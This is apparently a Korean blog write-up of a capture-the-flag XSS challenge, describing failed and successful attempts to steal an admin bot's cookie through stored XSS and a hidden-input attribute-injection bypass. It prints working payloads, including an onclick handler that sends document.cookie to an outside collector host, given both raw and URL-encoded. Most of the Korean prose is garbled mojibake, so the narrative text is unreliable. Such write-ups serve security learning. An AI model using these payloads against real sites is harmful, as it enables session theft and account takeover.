[CTF] XSS 5

CHIKAยท2024๋…„ 6์›” 30์ผ
post-thumbnail

๐Ÿ“Œ
XSS (Cross Site Scripting)
Cookie ํƒˆ์ทจ


์ทจ์•ฝ์  ์„ค๋ช… : Stored XSS
์ทจ์•ฝ์  ๋ฐœ์ƒ ์œ„์น˜ : notice_write_process.php


์‹คํŒจ๊ณผ์ •.1 (๊ถŒํ•œ์—†์Œ)

ํšŒ์›๊ฐ€์ž… - ๋กœ๊ทธ์ธ - ๊ฒŒ์‹œํŒ ๊ธ€์“ฐ๊ธฐ์—์„œ ๊บฝ์‡  HTML Entity๊นŒ์ง€ ํ™•์ธ.
notice_update.php ์—์„œ title input value ๋ถ€๋ถ„์— ํƒ€์ดํ‹€ ์ž…๋ ฅ๊ฐ’์ด ๋“ค์–ด๊ฐ„๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•จ.
EventHandler onclick์„ ์ด์šฉํ•ด์„œ ํ•ด๋‹น input์„ ํด๋ฆญํ•˜๋ฉด alert(document.cookie)๊ฐ€ ๋œจ๊ฒŒ ์‹œ๋„.

์ฟ ํ‚ค๊ฐ’์ด ๋œฌ๋‹ค! ๊ทธ๋Œ€๋กœ ์ฟ ํ‚คํƒˆ์ทจ์ฝ”๋“œ ์‚ฝ์ž…ํ•ด๋ณด์ž.
์ œ๋ชฉ์„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž‘์„ฑํ•œ๋‹ค.

ํ•ด๋‹น ๊ฒŒ์‹œ๋ฌผ ๋ˆ„๋ฅด๊ณ  update, title input์ฐฝ ํด๋ฆญ

์ฟ ํ‚ค๊ฐ’์ด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ๋„˜์–ด์˜จ๋‹ค! ์ด URL์„ ๊ด€๋ฆฌ์ž ๋ด‡์—๊ฒŒ ๋ณด๋‚ด๋ณด์ž.

alert์ฐฝ์ด 2๊ฐœ ์ด์ƒ ๋œจ๋ฉด ํ•ด๋‹น ๊ฒฝ๊ณ ๊ฐ€ ๋œจ๋Š” ๊ฒƒ ๊ฐ™๋‹ค.
์ƒˆ ์ฐฝ ๋„์›Œ์„œ ์ ‘์†ํ•ด๋ด„

alert์ฐฝ์ด ์•ˆ๋œฌ๋‹ค. ๋กœ๊ทธ์•„์›ƒ์„ ํ–ˆ์–ด์•ผ ํ–ˆ๋Š”๋ฐ ์•ˆํ•ด์„œ ์ •์ƒ ์ ‘์†์ด ๋๋˜๊ฒƒ์ด๋‹ค.
์ด ์‚ฌ์‹ค์„ ์ธ์ง€ํ•˜์ง€ ๋ชปํ•˜๊ณ  onclick์— ๋ฌธ์ œ๊ฐ€ ์žˆ๋Š” ์ค„ ์•Œ์•˜๋‹ค.
onclick์€ ํด๋ฆญ์„ ํ•ด์•ผ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋‹ˆ๊นŒ ํ•ด๋‹น ํŽ˜์ด์ง€์— ๋“ค์–ด์˜ค์ž๋งˆ์ž ์‹คํ–‰๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•? autofocus onfocus๋ฅผ ์‚ฌ์šฉํ•ด๋ณด์ž.

์ œ๋ชฉ์—

๋กœ ๊ธ€์„ ์ž‘์„ฑ ํ›„ ํ•ด๋‹น ๊ฒŒ์‹œ๋ฌผ ํด๋ฆญ-update

http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=238

URL์— ์ ‘์†ํ•˜๋ฉด ๋ฐ”๋กœ ์ฟ ํ‚ค๊ฐ’์ด ๊ณต๊ฒฉ์ž์„œ๋ฒ„๋กœ ๋ณด๋‚ด์ง„๋‹ค.
๋กœ๊ทธ์•„์›ƒํ•˜๊ณ  URL์— ์ ‘์†ํ•˜๋ฉด?


alert์ฐฝ์ด ๋‘ ๊ฐœ ๋œฌ๋‹ค. ๊ด€๋ฆฌ์ž Bot์—์„œ ๊ฒฝ๊ณ ๊ฐ€ ๋–ด๋˜ ์ด์œ ์ด๋‹ค.
๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•˜๊ณ  ํ•ด๋‹น URL์— ์ ‘์†ํ•ด๋„ ๊ฐ™์€ ์ฐฝ์ด ๋œฌ๋‹ค.

๊ทธ๋Ÿผ ๋กœ๊ทธ์ธ ์—†์ด or ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธ ํ›„ ์ ‘์†๋˜๋Š” ํŽ˜์ด์ง€๊ฐ€ ๋ญ”์ง€๋ถ€ํ„ฐ ์•Œ์•„๋ณด์ž.


์‹คํŒจ๊ณผ์ •.2 (input type="hidden")

XSS5 ๋‹ค๋ฅธ์‚ฌ์šฉ์ž ์ ‘์†๊ฐ€๋Šฅ ํŽ˜์ด์ง€
index.php
login.html
mypage.php?user=xcvb (ํ•ด๋„ ์นธ์—๋Š” ํ•ด๋‹น ์‚ฌ์šฉ์ž ์•„์ด๋””)
notice_list.php
notice_read.php?
notice_update.php?

๋‚˜๋Š” ์‹คํŒจ๊ณผ์ •.1 ์—์„œ notice_update.php ์— ๋Œ€ํ•œ ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ–ˆ์œผ๋ฏ€๋กœ ๊ถŒํ•œ์—†์ด ์ ‘์† ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ๋ชจ์ƒ‰ํ–ˆ๋‹ค.

http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=238 ์™€ ๊ฐ™์ด ์ด๋ฏธ id(idx)์— ํ•ด๋‹นํ•˜๋Š” ๊ธ€์ด ์žˆ์œผ๋ฉด ์ ‘์†์ด ๊ถŒํ•œ์ด ์—†๋‹ค๋Š” ๋ฉ”์„ธ์ง€๊ฐ€ ๋œฌ๋‹ค.

ํ•˜์ง€๋งŒ
http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=์ฒ˜๋Ÿผ id์— ๊ฐ’์„ ๋„ฃ์–ด์ฃผ์ง€ ์•Š๊ฑฐ๋‚˜ id(idx)์— ํ•ด๋‹นํ•˜๋Š” ๊ธ€์ด ์—†์œผ๋ฉด ์ ‘์†์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

ํŠน์ˆ˜๋ฌธ์ž ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•˜์ž.

๊บฝ์‡ ๋Š” <,> ๋กœ ๋ฐ”๋€๋‹ค.
id์˜ ๊ฐ’์ด input name="id" ์˜ value๊ฐ’์œผ๋กœ ์‚ฝ์ž…์ด ๋จ์„ ํ™•์ธ.
๊บฝ์‡ ๊ฐ€ ์‚ฌ์šฉ ๋ถˆ๊ฐ€ํ•˜๋ฏ€๋กœ input ํƒœ๊ทธ๋ฅผ ํƒˆ์ถœํ•˜์ง€ ๋ชปํ•œ๋‹ค.
inputํƒœ๊ทธ ์•ˆ์—์„œ alert(1) ๋„์›Œ๋ณด์ž.

id๊ฐ’์— " autofocushttps://velog.velcdn.com/images/dmkr9845/post/f6899b6e-2139-482c-b387-df79acf6ed9d/image.PNG">


alert์ฐฝ์ด ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š”๋‹ค. input ์˜ hidden ์†์„ฑ ๋•Œ๋ฌธ์ด๋‹ค.

๐Ÿ”Ž input type = "hidden"

onclick, onfocus ๋“ฑ Event Handler๊ฐ€ ์ž‘๋™ํ•˜์ง€ ์•Š๋Š”๋‹ค.

input type="hidden" ์šฐํšŒ (๊บฝ์‡  ์‚ฌ์šฉX)

1. value(ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์‚ฝ์ž…๋˜๋Š” ๊ณณ)๊ฐ€ type="hidden" ์•ž์— ์œ„์น˜ํ•  ๊ฒฝ์šฐ

<input name="id" value="์ž…๋ ฅ๊ฐ’" type="hidden"/> ์˜ ๊ฒฝ์šฐ
์ž…๋ ฅ๊ฐ’์— type="text" ๋“ฑ ํƒ€์ž…์„ ์ง€์ •ํ•ด์ฃผ๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.
์ž…๋ ฅ๊ฐ’ : " type = "text
<input name="id" value="" type="text" type="hidden"/> ์ด๋Ÿฐ์‹์œผ๋กœ.

2. value(ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์‚ฝ์ž…๋˜๋Š” ๊ณณ)๊ฐ€ type="hidden" ๋’ค์— ์œ„์น˜ํ•  ๊ฒฝ์šฐ

<input name="id" type="hidden" value="์ž…๋ ฅ๊ฐ’"/>

์—ฌ๊ธฐ์„œ hidden์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•?
์•„์ฃผ ์ œํ•œ์ ์ธ ์กฐ๊ฑดํ•˜์—์„œ๋งŒ ๊ฐ€๋Šฅํ•˜๋‹ค.

์กฐ๊ฑด
1. Firefox ๋ธŒ๋ผ์šฐ์ € ์‚ฌ์šฉ
2. accesskey ์ž…๋ ฅ

firefox์—์„œ id๊ฐ’์— " accesskey="x" onclick=alert("XSS") x="์ž…๋ ฅ.
URL :

http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=%22+accesskey%3D%22x%22+onclick%3Dalert(%22XSS%22)+x%3D%22

alt + shift + x ํ‚ค๋ฅผ ๋ˆ„๋ฅด๋ฉด alert์ฐฝ์ด ๋œฌ๋‹ค.

์ฟ ํ‚ค ํƒˆ์ทจ๊นŒ์ง€ ํ•ด๋ณด์ž.
id๊ฐ’์œผ๋กœ" accesskey="x" onclick='javascript: var cookieData = document.cookie; var i = new Image(); i.src ="https://en2hyoic3j7mi.x.pipedream.net/?cookie=" + cookieData;'

URL :
http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=%22+accesskey%3d%22x%22+onclick%3d%27javascript%3a+var+cookieData+%3d+document.cookie%3b+var+i+%3d+new+Image()%3b+i.src+%3d%22https%3a%2f%2fen2hyoic3j7mi.x.pipedream.net%2f%3fcookie%3d%22+%2b+cookieData%3b%27

alt + shift + x ํ‚ค๋ฅผ ๋ˆ„๋ฅด๋ฉด

์ฟ ํ‚ค๊ฐ’์ด ์„œ๋ฒ„๋กœ ์ „์†ก๋˜๊ณ  ์žˆ๋‹ค.

ํ˜น์‹œ๋‚˜ ๊ด€๋ฆฌ์ž Bot์ด Firefox๋กœ ์ ‘์†ํ•ด์„œ alt + shift + x ํ‚ค๋ฅผ ๋ˆŒ๋Ÿฌ์ฃผ์ง€ ์•Š์„๊นŒ?

์•ˆ๋œ๋‹ค.
๋งํฌ๋กœ ์ ‘์†ํ•˜์ž๋งˆ์ž ์‹คํ–‰์ด ๋˜์–ด์•ผ ํ•˜๋Š” ๊ฒƒ ๊ฐ™๋‹ค.


์„ฑ๊ณต.์ตœ์ข…์ตœ์ข…์ตœ์ข…

ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ - ๊ฒŒ์‹œํŒ ๊ธ€ ์ž‘์„ฑ์—์„œ ํŠน์ˆ˜๊ธฐํ˜ธ ์‚ฝ์ž… ๋˜๋Š”์ง€ ํ™•์ธ.

notice_write_process.php content์—์„œ๋งŒ HTML Entity๋กœ ๋ฐ”๋€Œ๋Š”๊ฒƒ ํ™•์ธ.

notice_write.php ๋ฅผ ๋ณด๋‹ˆ

content(create_body) ๋งŒ HTML Entity ํ‘œํ˜„์œผ๋กœ ๋ฐ”๊พธ๊ณ  ์žˆ๋‹ค.

๊ทธ๋Ÿผ notice_write_process.php ์—์„œ request ๊ฐ’์„ ์กฐ์ž‘ํ•ด์„œ ๊ธ€์„ ์ž‘์„ฑํ•ด๋ณด์ž.


๊บฝ์‡ ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.

alert(1)๋ถ€ํ„ฐ ์ถœ๋ ฅํ•ด๋ณด์ž.


alert์ฐฝ์ด ์ถœ๋ ฅ๋˜๋‹ˆ ์ฟ ํ‚ค ํƒˆ์ทจ์ฝ”๋“œ๋ฅผ ๋„ฃ์–ด๋ณด์ž.

์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ž˜ ์ž‘๋™ํ•œ๋‹ค.

ํ•ด๋‹น URL์„ ๊ด€๋ฆฌ์ž Bot์— ์ž…๋ ฅํ•˜์ž.


์ฟ ํ‚ค ํƒˆ์ทจ ์„ฑ๊ณต!

์ฐธ๊ณ ์ž๋ฃŒ
https://www.hahwul.com/2016/06/20/web-hacking-hiddenxss-xss-in-hidden/

0๊ฐœ์˜ ๋Œ“๊ธ€